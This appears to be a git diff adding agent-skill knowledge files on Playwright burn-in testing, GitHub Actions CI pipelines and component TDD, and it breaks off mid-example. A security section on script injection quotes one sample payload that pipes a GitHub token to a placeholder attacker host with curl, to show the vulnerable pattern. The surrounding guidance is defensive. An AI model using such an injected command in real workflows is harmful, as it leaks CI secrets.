files (configs, types, docs) +- **Volume control**: Run percentage of affected tests after filtering +- **Custom dependency analysis**: More accurate than Playwright's built-in +- **CI optimization**: Faster pipelines without sacrificing confidence +- **Process of elimination**: Start with all β†’ filter irrelevant β†’ control volume + +## Pattern Examples + +### Example 1: Basic Burn-in Setup + +**Context**: Run burn-in on changed files compared to main branch. + +**Implementation**: + +```typescript +// Step 1: Create burn-in script +// playwright/scripts/burn-in-changed.ts +import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in' + +async function main() { + await runBurnIn({ + configPath: 'playwright/config/.burn-in.config.ts', + baseBranch: 'main' + }) +} + +main().catch(console.error) + +// Step 2: Create config +// playwright/config/.burn-in.config.ts +import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in' + +const config: BurnInConfig = { + // Files that never trigger tests (first filter) + skipBurnInPatterns: [ + '**/config/**', + '**/*constants*', + '**/*types*', + '**/*.md', + '**/README*' + ], + + // Run 30% of remaining tests after skip filter + burnInTestPercentage: 0.3, + + // Burn-in repetition + burnIn: { + repeatEach: 3, // Run each test 3 times + retries: 1 // Allow 1 retry + } +} + +export default config + +// Step 3: Add package.json script +{ + "scripts": { + "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts" + } +} +``` + +**Key Points**: + +- Two-stage filtering: skip patterns, then volume control +- `skipBurnInPatterns` eliminates irrelevant files +- `burnInTestPercentage` controls test volume (0.3 = 30%) +- Custom dependency analysis finds actually affected tests + +### Example 2: CI Integration + +**Context**: Use burn-in in GitHub Actions for efficient CI runs. + +**Implementation**: + +```yaml +# .github/workflows/burn-in.yml +name: Burn-in Changed Tests + +on: + pull_request: + branches: [main] + +jobs: + burn-in: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # Need git history + + - name: Setup Node + uses: actions/setup-node@v4 + + - name: Install dependencies + run: npm ci + + - name: Run burn-in on changed tests + run: npm run test:pw:burn-in-changed -- --base-branch=origin/main + + - name: Upload artifacts + if: failure() + uses: actions/upload-artifact@v4 + with: + name: burn-in-failures + path: test-results/ +``` + +**Key Points**: + +- `fetch-depth: 0` for full git history +- Pass `--base-branch=origin/main` for PR comparison +- Upload artifacts only on failure +- Significantly faster than full suite + +### Example 3: How It Works (Process of Elimination) + +**Context**: Understanding the filtering pipeline. + +**Scenario:** + +``` +Git diff finds: 21 changed files +β”œβ”€ Step 1: Skip patterns filter +β”‚ Removed: 6 files (*.md, config/*, *types*) +β”‚ Remaining: 15 files +β”‚ +β”œβ”€ Step 2: Dependency analysis +β”‚ Tests that import these 15 files: 45 tests +β”‚ +└─ Step 3: Volume control (30%) + Final tests to run: 14 tests (30% of 45) + +Result: Run 14 targeted tests instead of 147 with --only-changed! +``` + +**Key Points**: + +- Three-stage pipeline: skip β†’ analyze β†’ control +- Custom dependency analysis (not just imports) +- Percentage applies AFTER filtering +- Dramatically reduces CI time + +### Example 4: Environment-Specific Configuration + +**Context**: Different settings for local vs CI environments. + +**Implementation**: + +```typescript +import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'; + +const config: BurnInConfig = { + skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'], + + // CI runs fewer iterations, local runs more + burnInTestPercentage: process.env.CI ? 0.2 : 0.3, + + burnIn: { + repeatEach: process.env.CI ? 2 : 3, + retries: process.env.CI ? 0 : 1, // No retries in CI + }, +}; + +export default config; +``` + +**Key Points**: + +- `process.env.CI` for environment detection +- Lower percentage in CI (20% vs 30%) +- Fewer iterations in CI (2 vs 3) +- No retries in CI (fail fast) + +### Example 5: Sharding Support + +**Context**: Distribute burn-in tests across multiple CI workers. + +**Implementation**: + +```typescript +// burn-in-changed.ts with sharding +import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'; + +async function main() { + const shardArg = process.argv.find((arg) => arg.startsWith('--shard=')); + + if (shardArg) { + process.env.PW_SHARD = shardArg.split('=')[1]; + } + + await runBurnIn({ + configPath: 'playwright/config/.burn-in.config.ts', + }); +} +``` + +```yaml +# GitHub Actions with sharding +jobs: + burn-in: + strategy: + matrix: + shard: [1/3, 2/3, 3/3] + steps: + - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }} +``` + +**Key Points**: + +- Pass `--shard=1/3` for parallel execution +- Burn-in respects Playwright sharding +- Distribute across multiple workers +- Reduces total CI time further + +## Integration with CI Workflow + +When setting up CI with `*ci` workflow, recommend burn-in for: + +- Pull request validation +- Pre-merge checks +- Nightly builds (subset runs) + +## Related Fragments + +- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops) +- `selective-testing.md` - Test selection strategies +- `overview.md` - Installation + +## Anti-Patterns + +**❌ Over-aggressive skip patterns:** + +```typescript +skipBurnInPatterns: [ + '**/*', // Skips everything! +]; +``` + +**βœ… Targeted skip patterns:** + +```typescript +skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*']; +``` + +**❌ Too low percentage (false confidence):** + +```typescript +burnInTestPercentage: 0.05; // Only 5% - might miss issues +``` + +**βœ… Balanced percentage:** + +```typescript +burnInTestPercentage: 0.2; // 20% in CI, provides good coverage +``` diff --git a/.agents/skills/bmad-tea/resources/knowledge/ci-burn-in.md b/.agents/skills/bmad-tea/resources/knowledge/ci-burn-in.md new file mode 100644 index 000000000..a09298750 --- /dev/null +++ b/.agents/skills/bmad-tea/resources/knowledge/ci-burn-in.md @@ -0,0 +1,717 @@ +# CI Pipeline and Burn-In Strategy + +## Principle + +CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence. + +## Rationale + +CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness. + +## Security: Script Injection Prevention + +**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted). + +When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection. + +### Vulnerable vs Safe Pattern + +```yaml +# ❌ VULNERABLE β€” inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)" +- name: Run tests + run: | + npx playwright test --grep "${{ inputs.test_ids }}" + +# βœ… SAFE β€” env var cannot break out of shell quoting +- name: Run tests + env: + TEST_IDS: ${{ inputs.test_ids }} + run: | + npx playwright test --grep "$TEST_IDS" +``` + +### Unsafe Contexts (require env: intermediary) + +- `${{ inputs.* }}` β€” workflow_call and workflow_dispatch inputs +- `${{ github.event.* }}` β€” treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.) +- `${{ github.head_ref }}` β€” PR source branch name (user-controlled) + +**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments. + +### Safe Contexts (safe from GitHub expression injection in run: blocks) + +- `${{ steps.*.outputs.* }}` β€” pre-computed by your own code +- `${{ matrix.* }}` β€” defined in workflow YAML +- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` β€” system-controlled +- `${{ secrets.* }}` β€” secret store, not user-injectable +- `${{ env.* }}` β€” already an env var + +> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply β€” always double-quote variable references in `run:` blocks. + +--- + +## Pattern Examples + +### Example 1: GitHub Actions Workflow with Parallel Execution + +**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing. + +**Implementation**: + +```yaml +# .github/workflows/e2e-tests.yml +name: E2E Tests +on: + pull_request: + push: + branches: [main, develop] + +env: + NODE_VERSION_FILE: '.nvmrc' + CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} + +jobs: + install-dependencies: + name: Install & Cache Dependencies + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version-file: ${{ env.NODE_VERSION_FILE }} + cache: 'npm' + + - name: Cache node modules + uses: actions/cache@v4 + id: npm-cache + with: + path: | + ~/.npm + node_modules + ~/.cache/Cypress + ~/.cache/ms-playwright + key: ${{ env.CACHE_KEY }} + restore-keys: | + ${{ runner.os }}-node- + + - name: Install dependencies + if: steps.npm-cache.outputs.cache-hit != 'true' + run: npm ci --prefer-offline --no-audit + + - name: Install Playwright browsers + if: steps.npm-cache.outputs.cache-hit != 'true' + run: npx playwright install --with-deps chromium + + test-changed-specs: + name: Test Changed Specs First (Burn-In) + needs: install-dependencies + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for accurate diff + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version-file: ${{ env.NODE_VERSION_FILE }} + cache: 'npm' + + - name: Restore dependencies + uses: actions/cache@v4 + with: + path: | + ~/.npm + node_modules + ~/.cache/ms-playwright + key: ${{ env.CACHE_KEY }} + + - name: Detect changed test files + id: changed-tests + run: | + CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "") + echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT + echo "Changed specs: ${CHANGED_SPECS}" + + - name: Run burn-in on changed specs (10 iterations) + if: steps.changed-tests.outputs.changed_specs != '' + run: | + SPECS="${{ steps.changed-tests.outputs.changed_specs }}" + echo "Running burn-in: 10 iterations on changed specs" + for i in {1..10}; do + echo "Burn-in iteration $i/10" + npm run test -- $SPECS || { + echo "❌ Burn-in failed on iteration $i" + exit 1 + } + done + echo "βœ… Burn-in passed - 10/10 successful runs" + + - name: Upload artifacts on failure + if: failure() + uses: actions/upload-artifact@v4 + with: + name: burn-in-failure-artifacts + path: | + test-results/ + playwright-report/ + screenshots/ + retention-days: 7 + + test-e2e-sharded: + name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }}) + needs: [install-dependencies, test-changed-specs] + runs-on: ubuntu-latest + timeout-minutes: 30 + strategy: + fail-fast: false # Run all shards even if one fails + matrix: + shard: [1, 2, 3, 4] + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version-file: ${{ env.NODE_VERSION_FILE }} + cache: 'npm' + + - name: Restore dependencies + uses: actions/cache@v4 + with: + path: | + ~/.npm + node_modules + ~/.cache/ms-playwright + key: ${{ env.CACHE_KEY }} + + - name: Run E2E tests (shard ${{ matrix.shard }}) + run: npm run test:e2e -- --shard=${{ matrix.shard }}/4 + env: + TEST_ENV: staging + CI: true + + - name: Upload test results + if: always() + uses: actions/upload-artifact@v4 + with: + name: test-results-shard-${{ matrix.shard }} + path: | + test-results/ + playwright-report/ + retention-days: 30 + + - name: Upload JUnit report + if: always() + uses: actions/upload-artifact@v4 + with: + name: junit-results-shard-${{ matrix.shard }} + path: test-results/junit.xml + retention-days: 30 + + merge-test-results: + name: Merge Test Results & Generate Report + needs: test-e2e-sharded + runs-on: ubuntu-latest + if: always() + steps: + - name: Download all shard results + uses: actions/download-artifact@v4 + with: + pattern: test-results-shard-* + path: all-results/ + + - name: Merge HTML reports + run: | + npx playwright merge-reports --reporter=html all-results/ + echo "Merged report available in playwright-report/" + + - name: Upload merged report + uses: actions/upload-artifact@v4 + with: + name: merged-playwright-report + path: playwright-report/ + retention-days: 30 + + - name: Comment PR with results + if: github.event_name == 'pull_request' + uses: daun/playwright-report-comment@v3 + with: + report-path: playwright-report/ +``` + +**Key Points**: + +- **Install once, reuse everywhere**: Dependencies cached across all jobs +- **Burn-in first**: Changed specs run 10x before full suite +- **Fail-fast disabled**: All shards run to completion for full evidence +- **Parallel execution**: 4 shards cut execution time by ~75% +- **Artifact retention**: 30 days for reports, 7 days for failure debugging + +--- + +### Example 2: Burn-In Loop Pattern (Standalone Script) + +**Context**: Reusable bash script for burn-in testing changed specs locally or in CI. + +**Implementation**: + +```bash +#!/bin/bash +# scripts/burn-in-changed.sh +# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch] + +set -e # Exit on error + +# Configuration +ITERATIONS=${1:-10} +BASE_BRANCH=${2:-main} +SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$' + +echo "πŸ”₯ Burn-In Test Runner" +echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" +echo "Iterations: $ITERATIONS" +echo "Base branch: $BASE_BRANCH" +echo "" + +# Detect changed test files +echo "πŸ“‹ Detecting changed test files..." +CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "") + +if [ -z "$CHANGED_SPECS" ]; then + echo "βœ… No test files changed. Skipping burn-in." + exit 0 +fi + +echo "Changed test files:" +echo "$CHANGED_SPECS" | sed 's/^/ - /' +echo "" + +# Count specs +SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs) +echo "Running burn-in on $SPEC_COUNT test file(s)..." +echo "" + +# Burn-in loop +FAILURES=() +for i in $(seq 1 $ITERATIONS); do + echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + echo "πŸ”„ Iteration $i/$ITERATIONS" + echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + + # Run tests with explicit file list + if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then + echo "βœ… Iteration $i passed" + else + echo "❌ Iteration $i failed" + FAILURES+=($i) + + # Save failure artifacts + mkdir -p burn-in-failures/iteration-$i + cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true + cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true + + echo "" + echo "πŸ›‘ BURN-IN FAILED on iteration $i" + echo "Failure artifacts saved to: burn-in-failures/iteration-$i/" + echo "Logs saved to: burn-in-log-$i.txt" + echo "" + exit 1 + fi + + echo "" +done + +# Success summary +echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" +echo "πŸŽ‰ BURN-IN PASSED" +echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" +echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)" +echo "Changed specs are stable and ready to merge." +echo "" + +# Cleanup logs +rm -f burn-in-log-*.txt + +exit 0 +``` + +**Usage**: + +```bash +# Run locally with default settings (10 iterations, compare to main) +./scripts/burn-in-changed.sh + +# Custom iterations and base branch +./scripts/burn-in-changed.sh 20 develop + +# Add to package.json +{ + "scripts": { + "test:burn-in": "bash scripts/burn-in-changed.sh", + "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20" + } +} +``` + +**Key Points**: + +- **Exit on first failure**: Flaky tests caught immediately +- **Failure artifacts**: Saved per-iteration for debugging +- **Flexible configuration**: Iterations and base branch customizable +- **CI/local parity**: Same script runs in both environments +- **Clear output**: Visual feedback on progress and results + +--- + +### Example 3: Shard Orchestration with Result Aggregation + +**Context**: Advanced sharding strategy for large test suites with intelligent result merging. + +**Implementation**: + +```javascript +// scripts/run-sharded-tests.js +const { spawn } = require('child_process'); +const fs = require('fs'); +const path = require('path'); + +/** + * Run tests across multiple shards and aggregate results + * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging + */ + +const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4'); +const TEST_ENV = process.env.TEST_ENV || 'local'; +const RESULTS_DIR = path.join(__dirname, '../test-results'); + +console.log(`πŸš€ Running tests across ${SHARD_COUNT} shards`); +console.log(`Environment: ${TEST_ENV}`); +console.log('━'.repeat(50)); + +// Ensure results directory exists +if (!fs.existsSync(RESULTS_DIR)) { + fs.mkdirSync(RESULTS_DIR, { recursive: true }); +} + +/** + * Run a single shard + */ +function runShard(shardIndex) { + return new Promise((resolve, reject) => { + const shardId = `${shardIndex}/${SHARD_COUNT}`; + console.log(`\nπŸ“¦ Starting shard ${shardId}...`); + + const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], { + env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex }, + stdio: 'pipe', + }); + + let stdout = ''; + let stderr = ''; + + child.stdout.on('data', (data) => { + stdout += data.toString(); + process.stdout.write(data); + }); + + child.stderr.on('data', (data) => { + stderr += data.toString(); + process.stderr.write(data); + }); + + child.on('close', (code) => { + // Save shard results + const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`); + try { + const result = JSON.parse(stdout); + fs.writeFileSync(resultFile, JSON.stringify(result, null, 2)); + console.log(`βœ… Shard ${shardId} completed (exit code: ${code})`); + resolve({ shardIndex, code, result }); + } catch (error) { + console.error(`❌ Shard ${shardId} failed to parse results:`, error.message); + reject({ shardIndex, code, error }); + } + }); + + child.on('error', (error) => { + console.error(`❌ Shard ${shardId} process error:`, error.message); + reject({ shardIndex, error }); + }); + }); +} + +/** + * Aggregate results from all shards + */ +function aggregateResults() { + console.log('\nπŸ“Š Aggregating results from all shards...'); + + const shardResults = []; + let totalTests = 0; + let totalPassed = 0; + let totalFailed = 0; + let totalSkipped = 0; + let totalFlaky = 0; + + for (let i = 1; i <= SHARD_COUNT; i++) { + const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`); + if (fs.existsSync(resultFile)) { + const result = JSON.parse(fs.readFileSync(resultFile, 'utf8')); + shardResults.push(result); + + // Aggregate stats + totalTests += result.stats?.expected || 0; + totalPassed += result.stats?.expected || 0; + totalFailed += result.stats?.unexpected || 0; + totalSkipped += result.stats?.skipped || 0; + totalFlaky += result.stats?.flaky || 0; + } + } + + const summary = { + totalShards: SHARD_COUNT, + environment: TEST_ENV, + totalTests, + passed: totalPassed, + failed: totalFailed, + skipped: totalSkipped, + flaky: totalFlaky, + duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0), + timestamp: new Date().toISOString(), + }; + + // Save aggregated summary + fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2)); + + console.log('\n━'.repeat(50)); + console.log('πŸ“ˆ Test Results Summary'); + console.log('━'.repeat(50)); + console.log(`Total tests: ${totalTests}`); + console.log(`βœ… Passed: ${totalPassed}`); + console.log(`❌ Failed: ${totalFailed}`); + console.log(`⏭️ Skipped: ${totalSkipped}`); + console.log(`⚠️ Flaky: ${totalFlaky}`); + console.log(`⏱️ Duration: ${(summary.duration / 1000).toFixed(2)}s`); + console.log('━'.repeat(50)); + + return summary; +} + +/** + * Main execution + */ +async function main() { + const startTime = Date.now(); + const shardPromises = []; + + // Run all shards in parallel + for (let i = 1; i <= SHARD_COUNT; i++) { + shardPromises.push(runShard(i)); + } + + try { + await Promise.allSettled(shardPromises); + } catch (error) { + console.error('❌ One or more shards failed:', error); + } + + // Aggregate results + const summary = aggregateResults(); + + const totalTime = ((Date.now() - startTime) / 1000).toFixed(2); + console.log(`\n⏱️ Total execution time: ${totalTime}s`); + + // Exit with failure if any tests failed + if (summary.failed > 0) { + console.error('\n❌ Test suite failed'); + process.exit(1); + } + + console.log('\nβœ… All tests passed'); + process.exit(0); +} + +main().catch((error) => { + console.error('Fatal error:', error); + process.exit(1); +}); +``` + +**package.json integration**: + +```json +{ + "scripts": { + "test:sharded": "node scripts/run-sharded-tests.js", + "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js" + } +} +``` + +**Key Points**: + +- **Parallel shard execution**: All shards run simultaneously +- **Result aggregation**: Unified summary across shards +- **Failure detection**: Exit code reflects overall test status +- **Artifact preservation**: Individual shard results saved for debugging +- **CI/local compatibility**: Same script works in both environments + +--- + +### Example 4: Selective Test Execution (Changed Files + Tags) + +**Context**: Optimize CI by running only relevant tests based on file changes and tags. + +**Implementation**: + +```bash +#!/bin/bash +# scripts/selective-test-runner.sh +# Intelligent test selection based on changed files and test tags + +set -e + +BASE_BRANCH=${BASE_BRANCH:-main} +TEST_ENV=${TEST_ENV:-local} + +echo "🎯 Selective Test Runner" +echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" +echo "Base branch: $BASE_BRANCH" +echo "Environment: $TEST_ENV" +echo "" + +# Detect changed files (all types, not just tests) +CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD) + +if [ -z "$CHANGED_FILES" ]; then + echo "βœ… No files changed. Skipping tests." + exit 0 +fi + +echo "Changed files:" +echo "$CHANGED_FILES" | sed 's/^/ - /' +echo "" + +# Determine test strategy based on changes +run_smoke_only=false +run_all_tests=false +affected_specs="" + +# Critical files = run all tests +if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then + echo "⚠️ Critical configuration files changed. Running ALL tests." + run_all_tests=true + +# Auth/security changes = run all auth + smoke tests +elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then + echo "πŸ”’ Auth/security files changed. Running auth + smoke tests." + npm run test -- --grep "@auth|@smoke" + exit $? + +# API changes = run integration + smoke tests +elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then + echo "πŸ”Œ API files changed. Running integration + smoke tests." + npm run test -- --grep "@integration|@smoke" + exit $? + +# UI component changes = run related component tests +elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then + echo "🎨 UI components changed. Running component + smoke tests." + + # Extract component names and find related tests + components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//') + for component in $components; do + # Find tests matching component name + affected_specs+=$(find tests -name "*${component}*" -type f) || true + done + + if [ -n "$affected_specs" ]; then + echo "Running tests for: $affected_specs" + npm run test -- $affected_specs --grep "@smoke" + else + echo "No specific tests found. Running smoke tests only." + npm run test -- --grep "@smoke" + fi + exit $? + +# Documentation/config only = run smoke tests +elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then + echo "πŸ“ Documentation/config files changed. Running smoke tests only." + run_smoke_only=true +else + echo "βš™οΈ Other files changed. Running smoke tests." + run_smoke_only=true +fi + +# Execute selected strategy +if [ "$run_all_tests" = true ]; then + echo "" + echo "Running full test suite..." + npm run test +elif [ "$run_smoke_only" = true ]; then + echo "" + echo "Running smoke tests..." + npm run test -- --grep "@smoke" +fi +``` + +**Usage in GitHub Actions**: + +```yaml +# .github/workflows/selective-tests.yml +name: Selective Tests +on: pull_request + +jobs: + selective-tests: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Run selective tests + run: bash scripts/selective-test-runner.sh + env: + BASE_BRANCH: ${{ github.base_ref }} + TEST_ENV: staging +``` + +**Key Points**: + +- **Intelligent routing**: Tests selected based on changed file types +- **Tag-based filtering**: Use @smoke, @auth, @integration tags +- **Fast feedback**: Only relevant tests run on most PRs +- **Safety net**: Critical changes trigger full suite +- **Component mapping**: UI changes run related component tests + +--- + +## CI Configuration Checklist + +Before deploying your CI pipeline, verify: + +- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached +- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min) +- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts +- [ ] **Parallelization**: Matrix strategy uses fail-fast: false +- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge +- [ ] **wait-on app startup**: CI waits for app (wait-on: '') +- [ ] **Secrets documented**: README lists required secrets (API keys, tokens) +- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci) + +## Integration Points + +- Used in workflows: `*ci` (CI/CD pipeline setup) +- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md` +- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins + +_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_ diff --git a/.agents/skills/bmad-tea/resources/knowledge/component-tdd.md b/.agents/skills/bmad-tea/resources/knowledge/component-tdd.md new file mode 100644 index 000000000..d14ba8f38 --- /dev/null +++ b/.agents/skills/bmad-tea/resources/knowledge/component-tdd.md @@ -0,0 +1,486 @@ +# Component Test-Driven Development Loop + +## Principle + +Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality. + +## Rationale + +Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail. + +## Pattern Examples + +### Example 1: Red-Green-Refactor Loop + +**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality. + +**Implementation**: + +```typescript +// Step 1: RED - Write failing test +// Button.cy.tsx (Cypress Component Test) +import { Button } from './Button'; + +describe('Button Component', () => { + it('should render with label', () => { + cy.mount(; +}; + +// Run test: PASSES - Component renders and handles clicks + +// Step 3: REFACTOR - Improve implementation +// Add disabled state, loading state, variants +type ButtonProps = { + label: string; + onClick?: () => void; + disabled?: boolean; + loading?: boolean; + variant?: 'primary' | 'secondary' | 'danger'; +}; + +export const Button = ({ + label, + onClick, + disabled = false, + loading = false, + variant = 'primary' +}: ButtonProps) => { + return ( + + ); +}; + +// Step 4: Expand tests for new features +describe('Button Component', () => { + it('should render with label', () => { + cy.mount(